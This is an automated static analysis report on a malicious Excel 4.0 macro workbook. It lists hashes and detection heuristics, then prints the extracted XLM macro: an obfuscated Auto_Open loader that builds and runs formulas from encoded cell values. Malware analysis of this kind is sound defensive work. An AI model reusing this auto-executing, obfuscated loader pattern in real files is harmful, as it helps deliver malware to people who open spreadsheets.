Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1157aaeb268f2f02…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:42:57 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: d486496a13ba9ed8c9992cbf1e028331 SHA-1: 5dd37efde7d1511ed852f4dd302cf1deb8ea034f SHA-256: 1157aaeb268f2f02899f16bc5bffaaf4ada6db46cf606144acfc132b05fbfc73
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6985 bytes
SHA-256: 160c80df87562aae2f76646732339cd621f771f5d31626bd26d409f41b879159
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PkPFpeBfrfF
' 0018     21 LABEL : Cell Value, String Constant - aJyqGv len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H162 
' 0018     25 LABEL : Cell Value, String Constant - CVZjQErjlz len=0 
' 0018     26 LABEL : Cell Value, String Constant - DvgwiBhThxx len=0 
' 0018     25 LABEL : Cell Value, String Constant - EvdsBaaakw len=0 
' 0018     22 LABEL : Cell Value, String Constant - FvBpPwu len=0 
' 0018     24 LABEL : Cell Value, String Constant - hzAsIqZTh len=0 
' 0018     20 LABEL : Cell Value, String Constant - IjSjv len=0 
' 0018     25 LABEL : Cell Value, String Constant - kUDnxKXMdW len=0 
' 0018     23 LABEL : Cell Value, String Constant - nxpicSVB len=0 
' 0018     22 LABEL : Cell Value, String Constant - NyEyTbl len=0 
' 0018     27 LABEL : Cell Value, String Constant - oMnZwxbIJTqw len=0 
' 0018     25 LABEL : Cell Value, String Constant - PVRhWcrXqC len=0 
' 0018     23 LABEL : Cell Value, String Constant - tqqXVkFD len=0 
' 0018     23 LABEL : Cell Value, String Constant - TVeaAhLR len=0 
' 0018     22 LABEL : Cell Value, String Constant - uBQDybv len=0 
' 0018     22 LABEL : Cell Value, String Constant - uMeYAKX len=0 
' 0018     27 LABEL : Cell Value, String Constant - uVxCdRWuozJI len=0 
' 0018     21 LABEL : Cell Value, String Constant - vhbehb len=0 
' 0018     26 LABEL : Cell Value, String Constant - XhXjyyLyaAL len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZhEjw len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PkPFpeBfrfF,S52,"",983.00000000000000000000
'  PkPFpeBfrfF,S53,"",711.00000000000000000000
'  PkPFpeBfrfF,S54,"",-794.00000000000000000000
'  PkPFpeBfrfF,S55,"",805.00000000000000000000
'  PkPFpeBfrfF,S56,"",-209.00000000000000000000
'  PkPFpeBfrfF,S57,"",-724.00000000000000000000
'  PkPFpeBfrfF,H67,"SET.NAME("aJyqGv",0+VALUE("0"))",""
'  PkPFpeBfrfF,H70,"SET.NAME("oMnZwxbIJTqw",aJyqGv)",""
'  PkPFpeBfrfF,H73,"SET.NAME("uMeYAKX",aJyqGv)",""
'  PkPFpeBfrfF,H78,"SET.NAME("hzAsIqZTh",COUNTA(kUDnxKXMdW))",""
'  PkPFpeBfrfF,H83,"SET.NAME("FvBpPwu",COUNTA(uBQDybv))",""
'  PkPFpeBfrfF,H87,[],""
'  PkPFpeBfrfF,H90,"SET.NAME("vhbehb","")",""
'  PkPFpeBfrfF,H94,"oMnZwxbIJTqw",""
'  PkPFpeBfrfF,H97,"SET.NAME("CVZjQErjlz",HLOOKUP("*",kUDnxKXMdW,oMnZwxbIJTqw,FALSE))",""
'  PkPFpeBfrfF,H100,"PVRhWcrXqC",""
'  PkPFpeBfrfF,H104,"SET.NAME("DvgwiBhThxx",aJyqGv)",""
'  PkPFpeBfrfF,H106,[],""
'  PkPFpeBfrfF,H111,"DvgwiBhThxx",""
'  PkPFpeBfrfF,H116,"IjSjv",""
'  PkPFpeBfrfF,H120,"ZhEjw",""
'  PkPFpeBfrfF,H123,"uVxCdRWuozJI",""
'  PkPFpeBfrfF,H125,"SET.NAME("EvdsBaaakw",VALUE(HLOOKUP("*",uBQDybv,uVxCdRWuozJI,FALSE)))",""
'  PkPFpeBfrfF,H127,"NyEyTbl",""
'  PkPFpeBfrfF,H130,"vhbehb",""
'  PkPFpeBfrfF,H133,"uMeYAKX",""
'  PkPFpeBfrfF,H138,NEXT(),""
'  PkPFpeBfrfF,H141,"XhXjyyLyaAL",""
'  PkPFpeBfrfF,H146,[],""
'  PkPFpeBfrfF,H150,"nxpicSVB",""
'  PkPFpeBfrfF,H154,NEXT(),""
'  PkPFpeBfrfF,H157,RETURN(),""
'  PkPFpeBfrfF,H186,"SET.NAME("TVeaAhLR",H67)",""
'  PkPFpeBfrfF,H188,"kUDnxKXMdW",""
'  PkPFpeBfrfF,H193,"SET.NAME("uBQDybv",R86C15)",""
'  PkPFpeBfrfF,H195,"SET.NAME("nxpicSVB",202)",""
'  PkPFpeBfrfF,H198,"SET.NAME("tqqXVkFD",8)",""
'  PkPFpeBfrfF,H201,TVeaAhLR(),""
'  PkPFpeBfrfF,H202,HALT(),""